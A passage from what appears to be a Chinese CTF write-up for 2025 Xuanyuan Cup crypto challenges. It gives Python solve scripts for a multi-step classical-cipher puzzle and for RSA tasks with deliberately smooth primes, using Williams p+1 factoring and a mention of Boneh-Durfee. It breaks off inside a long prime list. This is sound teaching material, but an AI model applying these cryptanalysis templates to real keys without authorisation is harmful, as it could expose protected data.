0%

2025轩辕杯部分wp

吐槽一下,虽然说着是新生比赛,但打起来异常痛苦,有道密码都快出成misc了,以后再看到这种题目果断放弃,因为做这种题目就是纯纯浪费时间。

Crypto

古典密码

比赛的时候没写出来,光想着用赛博厨子试了,但情况太多,根本试不出来,应该写下脚本的,这里参考chen-xing师傅的https://www.cnblogs.com/chen-xing-zzu/p/18889716

题目描述:

古典密码是一类基于简单数学变换与字符替换原理的加密方法,在密码学的演进历程中留下了深刻印记。这类密码凭借其基础的加密逻辑,常见的加密方式涵盖维吉尼亚密码、单表替代、仿射加密、斯奇塔尔加密等,依然是理解密码学基础概念的重要切入点。

近期,小虎在古典密码的加密实践练习中遇到了困扰。由于操作过程中未及时记录关键信息,他遗忘了加密步骤的具体顺序以及每次加密对应的具体方法。目前仅能确定,整个加密流程共执行了 6 次操作,运用了上述提及的五种古典加密方式。同时,小虎还保留了部分加密参数,包括字符串qwertyuiopasdfghjklzxcvbnm,数字5、8,字符串nxtcctf,以及数字4、5,然而其中一个关键数值却已无从忆起。

现存的密文内容为
ntid c{}rShcljrko od lc WYicO
这串看似杂乱无章的字符背后,隐藏着原始信息的踪迹。要揭开其神秘面纱,就需要运用密码学知识,对已知的加密参数与密文进行深入分析,尝试通过逆向推导与逻辑验证,逐步还原加密过程,从而解读出原始信息。

这里维吉尼亚的密钥应该是nxtcctf,单表替换的字母表是qwertyuiopasdfghjklzxcvbnm,仿射加密公式:,m是26,要求a与m互素,所以这里a和b只能是5和6,问gpt斯奇塔尔加密就是一种栏栅加密,但题目说运用上述五种古典加密,那就是应该少一种仿射加密的特殊情况:凯撒加密,这里执行了六次操作,那就是有种加密执行了两次。我们确定了其他加密的密钥,所以只能是斯奇塔尔加密用了两次,一次密钥是4,一次密钥是5,而且只有斯奇塔尔加密的顺序不会影响最终的解密(是改变密文的顺序,不增添或减少字母),所以放到最先解密

这里的顺序是先五栏后四栏:

图片

n{loWt}jdYirr idSklc hocOcc

图片

njih{ddolYScoikOWrlctrcc},这种恰好符合flag{XXXXX}的格式

然后还剩凯撒加密,仿射加密,维吉尼亚加密,单表替换,每个加密只涉及一次,只需要遍历所有可能即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from itertools import permutations
import string

# 凯撒解密
def caesar_decrypt(text, shift):
result = ''
for c in text:
if c.isalpha():
base = ord('A') if c.isupper() else ord('a')
result += chr((ord(c) - base - shift) % 26 + base)
else:
result += c
return result

# 维吉尼亚解密
def vigenere_decrypt(text, key):
key = key.lower()
result = ''
key_index = 0
for c in text:
if c.isalpha():
shift = ord(key[key_index % len(key)]) - ord('a')
base = ord('A') if c.isupper() else ord('a')
result += chr((ord(c) - base - shift) % 26 + base)
key_index += 1
else:
result += c
return result

# 单表解密
def monoalphabetic_decrypt(text, key_map):
reverse_map = {v: k for k, v in key_map.items()}
result = ''
for c in text:
if c.isalpha():
lower_c = c.lower()
mapped = reverse_map.get(lower_c, lower_c)
result += mapped.upper() if c.isupper() else mapped
else:
result += c
return result

# 仿射解密
def affine_decrypt(text, a, b):
m = 26
try:
a_inv = pow(a, -1, m)
except ValueError:
return text # 无法求逆元
result = ''
for c in text:
if c.isalpha():
base = ord('A') if c.isupper() else ord('a')
result += chr((a_inv * ((ord(c) - base - b)) % m) + base)
else:
result += c
return result

# 初始化
ciphertext = 'njih{ddolYScoikOWrlctrcc}'
vigenere_key = 'nxtcctf'
mono_key = 'qwertyuiopasdfghjklzxcvbnm'
mono_map = dict(zip(string.ascii_lowercase, mono_key))
affine_a = 5
affine_b = 8

# 解密函数映射
methods = {
'caesar': lambda text: [caesar_decrypt(text, shift) for shift in range(1, 26)],
'vigenere': lambda text: [vigenere_decrypt(text, vigenere_key)],
'mono': lambda text: [monoalphabetic_decrypt(text, mono_map)],
'affine': lambda text: [affine_decrypt(text, affine_a, affine_b)],
}

# 穷举所有解密顺序
for order in permutations(methods.keys()):
stack = [(ciphertext, 0)]
while stack:
current_text, depth = stack.pop()
if depth == len(order):
if 'flag' in current_text.lower():
print(f"解密成功!\n明文: {current_text}\n加密顺序: {order}")
exit()
continue
method = order[depth]
for result in methods[method](current_text):
stack.append((result, depth + 1))

print("未找到包含 'flag' 的结果。")

图片

Babyrsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import *
from gmpy2 import *
from random import choice
flag = b"flag{****************************}"
m = bytes_to_long(flag)
p = getPrime(256)
q = getPrime(256)
n = p*q
d = getPrime(130)
phi = (p-1)*(q-1)
e = invert(d, phi)
c = pow(m, e, n)
print(f'n = {n}')
print(f'c = {c}')
# print(f'e = {e}')

def gen(bits):
while True:
p = 2
while p.bit_length() < bits:
p *= choice(sieve_base)
if isPrime(p - 1):
return p - 1

p1 = gen(256)
q1 = gen(256)
n1 = p1 * q1
c1 = p1 + e

print(f'n1 = {n1}')
print(f'c1 = {c1}')

'''
n = 10037257627154486608196774801095855162090578704439233219876490744017222686494761706171113312036056644757212254824459536550416291797454693336043852190135363
c = 6723803125309437675713195914771839852631361554645954138639198200804046718848872479140347495288135138109762940384847808522874831433140182790750890982139835
n1 = 151767047787614712083974720416865469041528766980347881592164779139223941980832935534609228636599644744364450753148219193621511377088383418096756216139022880709
c1 = 6701513605196718137208327145211106525052740242222174201768345944717813148931922063338128366155730924516887607710111701686062781667128443135522927486682574
'''

题目分析:分为两部分,第一部分求e,第二部分解rsa,这里是return p-1,属于p+1光滑数,如果return p+1,那就是p-1光滑数,一般这种套板子就可以求出来p1和q1,得到e后,发现e和n的长度相差无几,要么wiener攻击,要么Boneh and Durfee attack,wiener跑不出来,长度不满足,但Boneh and Durfee attack的精度更高,可以精确到,总结起来就是看符合哪个板子直接套用(我还是fw)

第一部分EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from Crypto.Util.number import *
from gmpy2 import *
from itertools import count

n1 = 151767047787614712083974720416865469041528766980347881592164779139223941980832935534609228636599644744364450753148219193621511377088383418096756216139022880709
c1 = 6701513605196718137208327145211106525052740242222174201768345944717813148931922063338128366155730924516887607710111701686062781667128443135522927486682574
def mlucas(v, a, n):
v1, v2 = v, (v ** 2 - 2) % n
for bit in bin(a)[3:]: v1, v2 = ((v1 ** 2 - 2) % n, (v1 * v2 - v) % n) if bit == "0" else (
(v1 * v2 - v) % n, (v2 ** 2 - 2) % n)
return v1

def primegen():
yield 2
yield 3
yield 5
yield 7
yield 11
yield 13
ps = primegen() # yay recursion
p = ps.__next__() and ps.__next__()
q, sieve, n = p ** 2, {}, 13
while True:
if n not in sieve:
if n < q:
yield n
else:
next, step = q + 2 * p, 2 * p
while next in sieve:
next += step
sieve[next] = step
p = ps.__next__()
q = p ** 2
else:
step = sieve.pop(n)
next = n + step
while next in sieve:
next += step
sieve[next] = step
n += 2

def ilog(x, b): # greatest integer l such that b**l <= x.
l = 0
while x >= b:
x /= b
l += 1
return l

def attack(n):
for v in count(1):
for p in primegen():
e = ilog(isqrt(n), p)
if e == 0:
break
for _ in range(e):
v = mlucas(v, p, n)
g = gcd(v - 2, n)
if 1 < g < n:
return int(g), int(n // g) # g|n
if g == n:
break

p1, q1 = attack(n1)
e=c1-p1
print(e)

图片

这里再介绍一种p+1的拓展:如果限制了生成的素数,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from Crypto.Util.number import *
import random

primes = []

for i in range(1000):
primes.append(getPrime(64))

def getMyPrime(nbits: int):
while True:
n = 2
while n.bit_length() < nbits:
n *= random.choice(primes)

if isPrime(n-1):
return n-1

p = getMyPrime(512)
q = getPrime(512)
n = p*q
e = 65537
flag = b'NSSCTF{******}'
c = pow(bytes_to_long(flag), e, n)

print(f'n = {n}')
print(f'c = {c}')
'''
n = 345799778173748173773868120733939877012606206055022173086869626920649670201345540822551954372166638650313660302429331346299033954403991966160361903811355684857744142271007451931591141051285664283723609717718163872529480367508508005122335725499745970420634995317589843507796161899995004285340611933981932785753209168028330041659
c = 246232608531423461212845855125527519175008303736088113629990791124779986502745272419907699490375796645611551466345965328844415806242069890639077695943105766009969737068824735226917926112338655266209848386322013506145057902662138167248624945138207215690482597144303445656882230801297916736896978224496017358461492736283036138486
[11400500846732211437, 15663612686729436797, 16146509422571674241, 10365633794353033223, 17764432204956231427, 10770086682509726701, 9363619846718624519, 9499148531156874869, 11870308229801920153, 9493684235948177053, 13439889213792762493, 13543824553169466691, 16784144744729574109, 10473345639906795589, 11686628555687269949, 13438006849184657287, 10304115634530565157, 14523860318465391989, 9647953497087513131, 14024608681547907539, 14323731752105690329, 9995822499706628503, 17263798266448817081, 17412342258647700379, 17552446328775319979, 18182174233675599269, 10926506070008989781, 11287875928373292151, 13031874421918467239, 12826862978863344077, 14427019901941927789, 10764280028896236377, 15204422422736985733, 18013581759315499403, 16196860580398627489, 12409133067619366927, 16982209362087366071, 13552847891288053379, 13321664796445708301, 13503601532891509847, 15213413154033638143, 15789125900714604107, 9661259098414185323, 10097901158936073103, 12492567105127893229, 9803017918077701719, 14959766528145744073, 16380271870181847503, 12379170631770822511, 11203599319503847699, 11697577879391178041, 14830577847345979507, 15161718518020147133, 9449134020600011261, 13590570970475252977, 14435422638900288329, 12478310842333840183, 17177994464705553637, 15072278791274696881, 15805713015714544379, 18298117834725348649, 16592677662893953627, 10360712314766543039, 12350365014973219109, 10487476039094034247, 9303193137466554371, 14317509909121736027, 10069727352579607261, 15672913494263557921, 12645137927662029131, 12577294286343986777, 17990217715164074353, 11770491954898217693, 16352325276206313631, 14742366552931089511, 17904845678435279687, 14896783599885913301, 11640348097370069257, 10229197144755015913, 16348769379755789849, 14815902973349076617, 15808546541834061079, 16180999769759067937, 11333835834203173919, 14349619526753022311, 10887563403726040387, 14696465704976418401, 16612699690876026649, 9242002307438002549, 13294711665781655819, 17316060056875475509, 16264270500305765159, 10143806453587312567, 10156382001678762061, 13424697447914832193, 9533479368240114361, 17607602236552058431, 9513935785246155433, 9348999429693542821, 10687833447600343907, 13029642955293734383, 12352583868905249059, 10578933735997257233, 14807418828818185841, 12723999174902787061, 11812631981548150111, 9469570721445804379, 10407923494920638191, 10559989029436270817, 12477140185116458017, 16418595676222668931, 18284009827664751383, 16879482079149887887, 10274017234103862649, 11495861205598434163, 13574496359130781637, 16347895315217629291, 11184342831473200427, 15117572072516544349, 11962165465299205687, 12593274795450046759, 10576401623272055507, 14871424922307314839, 9683965597938835439, 15649192958998385653, 14136512522186754793, 16189574870468706193, 10432462783789785083, 9882402816632001041, 17467673636368162091, 17812738031541243181, 16444195776814377667, 14458128171493667993, 10068762164183818769, 16785805107381133639, 14471872315245024047, 15256999419456872801, 11245045254273493879, 12432915941937754661, 16779879208564650527, 13527359679120520799, 13609212316987142881, 12048851866296673223, 9700737321821517313, 14378798305839284857, 9611124475271266561, 13852359141963480583, 11482735530462856063, 15354806409837420893, 13941285484258063727, 14725649345415301957, 14540375648816209781, 15268062151789994279, 10710080489577786817, 15918894791610440369, 13679067272608182587, 12130148919788574667, 14787273033558048851, 16823039346693535453, 9786912554506032653, 12271391359749298573, 10338204530215094879, 17031700055987188007, 13892013056459801951, 16466462551586874361, 15509765092722859157, 17798707991935554641, 16724399949431954029, 13950635476447170409, 11844033699047785357, 14747361128582919509, 14667470964266641091, 12896901039793154849, 15536822808734549341, 12385771205898361763, 12265293491880919333, 9519013453753799311, 10399041997001597659, 16593843155091891947, 12731251001624534627, 15446540709384042589, 9977945635496326949, 16022582598611495171, 11602170089144567501, 14556919126878807737, 13325795480553101047, 12141291839761394549, 11056079849427396533, 9319147679594339663, 14076618445093460089, 13279302183770932003, 15969822774426507863, 15634577535247166641, 18134435225679362561, 13580840906683365127, 16932745671449749507, 13861858882551833521, 17059312054729866107, 16159631686544375273, 13252534105662820201, 12853863943245116791, 15045628398991754593, 16867564338626531897, 15053346821310993907, 15424243202794355417, 12169322810803770263, 17562408967112815189, 14696130091108860479, 16353873170264652727, 18137634119608386217, 13853870828606368123, 12138232181730621971, 17695562390286922187, 11482149834977336341, 11263040235574897391, 17516386258426598267, 11729599409349513977, 16344325675031393033, 9487998624331072613, 15548753174223167923, 16246946533494280441, 15168068556360396767, 10988949668785042289, 16578604258551502499, 14921063374278681199, 17959209918307585553, 13403422202954306417, 11008060381939288823, 11996269609545097451, 14304683665387573597, 15127244416475972951, 14638939931196152921, 13736677778855498231, 17587444419861411713, 9712574859471189721, 11754669647509862399, 13808458314511168667, 14076346964677125061, 14296229481633724123, 10546969810734077257, 13806516637777666997, 11595089909651297627, 15383693545718169527, 11899557291952040539, 11892231220794860827, 18090056242513773299, 16535424213022634657, 13429292459383177121, 10938466758053648591, 13247568010483593953, 14353179575611187827, 17247884385077903059, 15492418843846011163, 13991533281715009171, 10648224887308767149, 13434464420280213799, 18308741750842750223, 16958163859863247583, 17331583790580132911, 16594103882668531169, 15654309992707438321, 12143487125851071209, 13917462550122657373, 14300594316387726833, 11038403267265055433, 11668215065573927149, 16522831969819412009, 15574426807839180587, 9521082951973994111, 11184051603632666453, 17420808937992910057, 12911596655426162347, 14013571659883359853, 9255799220881949201, 10863148313680771943, 15125487406888857311, 10787391261037964801, 11181016652346500041, 12375758200228628333, 11096658214489080743, 14127930959020578487, 11097748121705255807, 9576959296273172197, 10329268625923900369, 12989481583199396267, 11221816342693962053, 11682824873199396701, 9726906501816888893, 14262866113962178411, 9585657969091757713, 11560990155825686603, 15431631822377633897, 9693653500895246153, 18052885089925870411, 12230353179628084643, 11140231161527021251, 11692996241065359677, 17325167313903580247, 13625405742824607707, 9700735722329114107, 17772484003012329121, 14710477009444476553, 11461459386714361369, 9710381370263165737, 14182228639237393261, 15344135038819224257, 13747712780102897047, 18043450369219899473, 10108489789901066423, 18323581078801222739, 11709502836760188211, 14510120896876508611, 10099898624211195287, 17361096065683222901, 15111530145788039651, 16726669802715322249, 15303048960860878433, 12918404780084443421, 10395837535719074069, 14881964221907324279, 14275096296552385127, 16767210669789926149, 16926825798156482309, 12118163891694788129, 9527147805191785667, 15014015486557066933, 16813575270918372811, 9593601949025443639, 13896995817956105537, 13741986219854107753, 11144899659720022073, 18238128043240764319, 12779733553193717153, 12771981722317523603, 17736020578173685219, 9340904375029821481, 17592111347118520843, 13580882292330428401, 15018369925699389031, 17809424700118883129, 11613026101864549847, 17286309683170750757, 15302812145728958509, 15391566078527070121, 9974325230682765697, 11551570786966900967, 11351003337990798203, 11120412046865048101, 9696688946725965169, 15093528920040797497, 18065996667394084837, 13292251568744035337, 11101213198305556951, 17531999985277474517, 15966406176658019221, 10691542704039725009, 14297474600370306949, 13621179047848909531, 12859649057819536667, 15917449527351930353, 9605987875906658413, 14998884139877113397, 9303906426219476507, 9871680222005313013, 18053630596736423699, 18214702298732770603, 15217549802969404841, 17230806139959259801, 9756053496476979851, 13493983446716093807, 15872062367640353111, 10830618212258286257, 13343744885931835489, 15379338915986533049, 16664848187297516537, 15913611403024361401, 16957002785994856157, 16999268043777708043, 15924602242524984389, 11470115363514206713, 17780900375430786271, 17219602318975762861, 15562078753739245099, 14429908225005981979, 16785776318383823977, 9345347283569848891, 9826037803806928201, 14757441108506302691, 16843056852903557147, 12089182103754698633, 13071844903007200927, 13309532659259919281, 12185211383730425707, 17671246663671372547, 15827919662605196687, 13921392459246207437, 14214028972975886279, 10666188887784923113, 15026095328389680481, 14070638370052382317, 11515225275289974647, 12733768797899627857, 15232090050353579959, 9605577513419872349, 11774332933083185117, 13015628182391854561, 12452018187207611071, 10613040759167447969, 16395318189590579111, 9650312608310268509, 16507662966772496023, 9745403684063805119, 15429094458205621159, 13907939611582114601, 14350669162433050921, 12444630576676286983, 12382608458977480781, 13701560178384085519, 14561536331132891843, 17870839403342285053, 17726305914129360941, 18120422155613702203, 11458486193501014487, 15652084560104054171, 16016407186905293131, 12896826502049676533, 13137573987547216019, 11993148289033574989, 12553485329707332011, 9407004537495583253, 16551197209131499807, 12188240888329030727, 13138059982433827393, 9447792088431441973, 13898552597307352607, 13086125839706222777, 11253297961067347699, 12473509293771699973, 12025629766486534463, 9246425606391056513, 10978614475595947261, 15328005120420669143, 15005188618611818149, 14681521764654667837, 18222824871931463471, 13727103721842925123, 11056314452399736701, 14190514709890056683, 16071925700301971681, 14114206274338698617, 11354892818254049171, 15558048570303377969, 9548803747853081857, 17588526935062502339, 10932175915126889777, 14848760934877079473, 16531929394433046437, 11059255418387621143, 15419998777650574619, 18133329784854851773, 9376742948363866007, 10267333769360440369, 10455930081787849081, 11749403554374261673, 12289480767522531263, 9355881077811916589, 16377906719131687771, 12636537540548202157, 15473661167864858659, 12939130785963130559, 10331428178834892869, 18403302396935375239, 12457052115957020359, 16728650241949106683, 15673023018343436269, 14566008317650142029, 10428852531127223779, 12989287388538384809, 10023218474904646751, 10216986934332559607, 11200524499033897849, 17374818422359302449, 11795887296034843123, 16260134950019402467, 15545049906898796849, 13905976122896835137, 18192952532376915133, 15245754103999312679, 14336092681672892797, 16711051263995536291, 10268633000776041389, 16298601116274769289, 12526591346109970043, 11057407454514514777, 17316528792225617197, 18057651102128098207, 16192203874370581303, 10293184135563422201, 9723556212482431513, 18054422790317350181, 17756547295472446751, 11552860515549111289, 13432033735566726419, 12179716429669289003, 14947157147090126191, 16335353494729459423, 15184076846117432761, 14777743253109667273, 13625241580579004263, 10998645430939015469, 13534322946405781903, 11327079738013968217, 17487263803711590509, 13189162879894145159, 13784538619743485863, 17064328079090046263, 9685004881707057761, 16079690295682955971, 13294545125605834661, 10648658009947462261, 18415164681671251511, 10641837226629144139, 15777331516260137267, 11795948058583766659, 15535152465440663291, 17216667014436648943, 9653047732094860031, 11131348011090342127, 16886193462362116063, 15612491590607382593, 10835879650784394071, 13279435351244340899, 16168298479453780489, 16083456466830550283, 11380553957000451991, 15128521211355953573, 10826365584345090827, 11931387899927297363, 16091037230044064021, 16855367086926162211, 11170558557176459503, 9886757544769944653, 11450033604282275011, 11929757603936817763, 17420827560223252171, 10870631368466407877, 13834307981276745037, 10230994628690765197, 14461440966371289941, 14513569082524554649, 15609519179461790747, 12452462947852628413, 11697783772313307211, 10077360532646539567, 15668479810095426521, 14100390060574107281, 16039433251746746399, 11594255700072389497, 11335433960775286819, 17135850578547822607, 17715472259313599723, 9872560666658691277, 13426738927194861001, 9559405911145488401, 9560643982657333219, 11125735716442543571, 14348305982295065537, 17334821829789014189, 12062975303975394341, 17675818288232614691, 12456667873905594329, 11330845594517002613, 16817880606791218753, 9524369250258419267, 14531988631115581537, 9721408134124289899, 16662586589444720647, 11325110890618816411, 10051647873079811617, 14536021166978233733, 12224386731517653097, 17640459671249984461, 16543114235733129481, 12834813684653021713, 13050693286566514921, 16072783334843947421, 16824355675011368569, 9665639317029622411, 15966237013384955239, 14787243991682533471, 14167620861073328777, 16552060845197660033, 14426640096605498107, 11250797705828570411, 12830939822208389821, 15292466542716343963, 9917855814946199189, 10442126201651355433, 12042544592582006819, 13742543708854176911, 12519797425611830609, 12305049189690830747, 13048815356624492777, 17928797470734483373, 9345743880343852493, 17394449011144997203, 14027454725211775843, 15325951436202259889, 14089580406354666877, 14985891805973997229, 15815861666300600207, 13010491061439139729, 17474295865525658119, 10856321689902733963, 15719997391332198931, 11798694284977436299, 11131916950543733651, 14728548632909038181, 15869387205433439081, 10635187834937273627, 14844816583829681107, 10707745831589845607, 16061495585562724741, 13860352348388954479, 13839169685364641087, 10246021025120950757, 17909700734377694141, 11494364438621610881, 16304619707693032889, 13720492814063169997, 12550911015312791057, 18076672670188884121, 10384906691343925679, 16486782778290044783, 12644175422114478653, 14955139942049789357, 16026396184113858703, 10524600442649861959, 11001050498566874027, 9979271448704886613, 13030132484834300659, 15230981971792316689, 15374177218176283253, 14195651389624938953, 10455638721836517437, 15149204128873840301, 12500463654517686493, 13475842347378678719, 12974353406746765043, 18081547614319419917, 13613920396906170893, 18201655698843944801, 9908359973067294049, 12259133230997142013, 13435886340259808407, 17657174880994459697, 13940231287221357463, 16592426911225206653, 13749631155096260533, 13579552974478309459, 9836712372149870281, 17218778541380165767, 10464000360382809991, 16777832929341727297, 15972158110380610507, 15350561171111592953, 9938731346590575421, 17912262447858075839, 16137701207062825711, 15626368583424185491, 10499152290055372079, 9382357912889286797, 14085852927258985099, 18393486728568017383, 10652476457160311261, 10527374223100330091, 17264120882113825487, 10885171609551829193, 16296935971967210533, 17039844827041640479, 16608078020248577041, 9554142078243712343, 12151602751600242503, 18333639542063204713, 12302756704018880831, 11612577899799494441, 13180093129135727227, 15533144054803240961, 17221156035305318801, 11685681018084321637, 13339338584418108371, 16764312293446072699, 9609715328254190099, 12015164966002919969, 17640110779197465353, 16460183428670473871, 13819867905621355469, 11784001662482246243, 10882776393768075541, 12284523803945957717, 11453117866254103187, 10672997245980076939, 9837424460088812963, 9456987736164381311, 16476068953424599633, 10714497365388454843, 11566321267685570027, 12258500729803839241, 13565509018611395453, 9837508107087665041, 10883021385911688053, 13236085185545218621, 12903549664178814119, 9277313810593502131, 15325552562767494059, 15737855390072711723, 12902145372862611967, 16617731535068412919, 16192918114406845313, 13329973263696065593, 15118904191983404627, 9421694107495493981, 14757389355512560711, 11755446033555771161, 11174113824848691089, 9931655160887834537, 13952179663695071047, 14628647895265937389, 13965103496050821571, 12334188065189399611, 15026324919476931311, 13737352569679199609, 17292288948395152463, 9747700181588759561, 13039199615231288567, 15048237407823618463, 11672237438639568239, 10302962861342428331, 12445128229021135679, 14463159840208815601, 13915082057723091419, 17505306824019415949, 12290525908208358407, 18446406381021364073, 11883272894488841837, 13151315617170041119, 9986202098577177283, 11376286496724079633, 17072429507581144597, 11601908054173197833, 12769100713651410277, 11578625980850143169, 15395413375327895911, 13942489248348359849, 16149741548915905429, 13745316489572365673, 9342391586010481007, 13460580618329867983, 15049385889346014431, 13567657641395719637, 9610206585474156637, 18361259735535581597, 16345044279841976141, 10386175636785013831, 10339319734960152623, 17118190675556320687, 10005962451642889201, 14773420480883046503, 11178361855707216889, 17257848339780864089, 17226047946161423507, 16460175468823544401, 15971530319487090739, 14842029296369602163, 15224121827462937979, 9275527308938870173, 17041103378156856689, 13801145680164940003, 10285279638830544209, 13671894824963549641, 16032778609020511861, 9851225257145555347, 9375022299108554971, 14826523109553586027, 17124217400159528447, 10713407734688191177, 12691625640419643317, 15981484460492567717, 9786795565103681819, 12556711015687803709, 11148645018758728049, 13265323147276427401, 13967986650812662373, 17848752154332550457, 9981768723976662007, 14998022968536079123, 12174071201870356879, 11520148746512983013, 12705359135922834167, 16031947192061029513, 12785255613650486969, 17794207197348321059, 16590130444003836701, 13051020119617841899, 18329540394916509391, 17016883109643488021, 12739110953512934191, 17294655201856917067, 11058626020237830707, 9462906708710154961, 14623360900124309369, 11254845081678452897, 14264002816761276253, 13102001758655038643, 12108869081174715287, 17010826574740201271, 14037017483914942313, 13985137272262919353, 9633084395035385983, 17241078172401921151, 16214027901908512283, 16093436048900321317, 14391957124445034917, 12359483645035302161, 10438778853819832753, 10567110128884566343, 10292970247351191901, 16822209722672159149, 13496565983843091859, 11841500670757876693, 11147505811854389987, 14065276166663767481, 15145625093242694749, 14413829172406893583, 16503017312704021103, 11981873548328345323, 11909212497608981689, 10679989447819664377, 12423178332387828413, 14358836553490758151, 10237468755767323591, 9735039457556049641, 9478522344708755909, 17979691433619404903, 17873209010991434147, 9550618472816953163, 13347619619192035741, 14530641313417809089, 13994703746676143779, 9559733892621448897, 10382805841803379711, 11843672223274874071, 16815833185277434981, 12381223102021820597, 15258305081721389239, 15136515056658706363, 18126727588656279323, 10697455619860328677, 9352124924523425581, 17295005245325754503, 14177782902523557389, 16249970306053067029, 17425431521899489447, 9366637040493563183, 14547545849198299667, 16839246487745686313, 10125673509176340733, 16315331794598305291, 18287303257171869707, 14082462954685803851, 15710924897106988277, 9846789987736297901, 12850810892277384811, 9503762183847119159, 12035363414252005649, 12548445170155094227, 9987078241115445023, 11170994807091443339, 11647765960869059809, 10834387862974757999, 9838865006047239157, 12019744644188767517, 14761339868466177863, 10956244424237933677, 10577167950528154373, 18401121224902652879, 17235712984492843111, 18429975080980393459, 16975328717308835227, 16212745888436855227, 15748060839664004279, 10802710007407091591, 18005654473259312323, 17728864727324757541, 9476823236759120071, 15715719744380211089, 11317957584932242129, 14263043570269209481, 11885161440852975761, 12759119296561192847, 16837757861450897923, 11387051211693970223, 12990690679215047009, 15370437666068796491, 9661293882813929899, 16671594122227576891, 12760716047967713053, 15836846371629855617, 15372573498823277741, 13037801868101928847, 9227832155694778921, 12305150816980735891, 15210658418843137207, 16788466837458690557, 9762486133521181153, 13371940588733082221, 10152546759088309507, 10848887643327358249, 17205964303284825847, 12583799778495365419, 9672644823779940799, 16479122731650726673, 11829095825108299229, 16856643509258471717, 17729801070393904861, 12446898694377908053, 15647792035238488259, 15262980088834134317, 14842714080641230361, 11892658365659114837, 15543608752847397577, 18134628238866132559, 17281754915383504451, 14880763471671790447, 18365273826942699029, 10593576240664735397, 13738012363336486327, 10585528712941671061, 15236197766771889647, 12962016451203849439, 10115648256105130097, 18284391657729233963, 10065785450550899873, 14857920561664507949, 16030693837709372611, 13900562821391763329, 12228162083162590063, 11182799187528291871, 10214055412817190283, 15460696099737060427, 12382626153236584387, 15465251424009421147, 16965031217756582281, 14126243176626361657, 18080871035396853247, 12890579554268090071, 12213352895923847441, 11657388029153192717, 10594146346641284267, 10061199141387371213, 11654321642876196877, 9824908207222632341, 9667965027898668031, 15337259287380080431, 11343809882060699179, 14165912342048965513, 11858958254391153371, 14644267317090978181, 15243216027706161023, 12709086352105620721, 12699306874452850307, 9623280468372066131, 12147185253639241291, 16601705326867205539, 10344891266561865029, 9295392664898294891, 11337442576012179707, 12437074606171059809, 16257047214863286941, 15963251223708366749, 9796716955285549447, 15639176349316312987, 9957650134111703227, 13427963685313160311, 14969656757466500147, 15214704302669139497, 16883998205231447767, 9582306718565802677, 18213300288961503953, 10133964032925729329, 13921564103985671879, 18189260807943763691, 15990390439904555291, 13338552747826262603, 10004697650349190067, 14464165999372352189, 9264423096518569807, 16223738667762317267, 12581099710736152931, 16783603748986153523]
'''

解题EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from itertools import count
from Crypto.Util.number import *
from gmpy2 import *

n = 345799778173748173773868120733939877012606206055022173086869626920649670201345540822551954372166638650313660302429331346299033954403991966160361903811355684857744142271007451931591141051285664283723609717718163872529480367508508005122335725499745970420634995317589843507796161899995004285340611933981932785753209168028330041659
c = 246232608531423461212845855125527519175008303736088113629990791124779986502745272419907699490375796645611551466345965328844415806242069890639077695943105766009969737068824735226917926112338655266209848386322013506145057902662138167248624945138207215690482597144303445656882230801297916736896978224496017358461492736283036138486
primes = [11400500846732211437, 15663612686729436797, 16146509422571674241, 10365633794353033223, 17764432204956231427, 10770086682509726701, 9363619846718624519, 9499148531156874869, 11870308229801920153, 9493684235948177053, 13439889213792762493, 13543824553169466691, 16784144744729574109, 10473345639906795589, 11686628555687269949, 13438006849184657287, 10304115634530565157, 14523860318465391989, 9647953497087513131, 14024608681547907539, 14323731752105690329, 9995822499706628503, 17263798266448817081, 17412342258647700379, 17552446328775319979, 18182174233675599269, 10926506070008989781, 11287875928373292151, 13031874421918467239, 12826862978863344077, 14427019901941927789, 10764280028896236377, 15204422422736985733, 18013581759315499403, 16196860580398627489, 12409133067619366927, 16982209362087366071, 13552847891288053379, 13321664796445708301, 13503601532891509847, 15213413154033638143, 15789125900714604107, 9661259098414185323, 10097901158936073103, 12492567105127893229, 9803017918077701719, 14959766528145744073, 16380271870181847503, 12379170631770822511, 11203599319503847699, 11697577879391178041, 14830577847345979507, 15161718518020147133, 9449134020600011261, 13590570970475252977, 14435422638900288329, 12478310842333840183, 17177994464705553637, 15072278791274696881, 15805713015714544379, 18298117834725348649, 16592677662893953627, 10360712314766543039, 12350365014973219109, 10487476039094034247, 9303193137466554371, 14317509909121736027, 10069727352579607261, 15672913494263557921, 12645137927662029131, 12577294286343986777, 17990217715164074353, 11770491954898217693, 16352325276206313631, 14742366552931089511, 17904845678435279687, 14896783599885913301, 11640348097370069257, 10229197144755015913, 16348769379755789849, 14815902973349076617, 15808546541834061079, 16180999769759067937, 11333835834203173919, 14349619526753022311, 10887563403726040387, 14696465704976418401, 16612699690876026649, 9242002307438002549, 13294711665781655819, 17316060056875475509, 16264270500305765159, 10143806453587312567, 10156382001678762061, 13424697447914832193, 9533479368240114361, 17607602236552058431, 9513935785246155433, 9348999429693542821, 10687833447600343907, 13029642955293734383, 12352583868905249059, 10578933735997257233, 14807418828818185841, 12723999174902787061, 11812631981548150111, 9469570721445804379, 10407923494920638191, 10559989029436270817, 12477140185116458017, 16418595676222668931, 18284009827664751383, 16879482079149887887, 10274017234103862649, 11495861205598434163, 13574496359130781637, 16347895315217629291, 11184342831473200427, 15117572072516544349, 11962165465299205687, 12593274795450046759, 10576401623272055507, 14871424922307314839, 9683965597938835439, 15649192958998385653, 14136512522186754793, 16189574870468706193, 10432462783789785083, 9882402816632001041, 17467673636368162091, 17812738031541243181, 16444195776814377667, 14458128171493667993, 10068762164183818769, 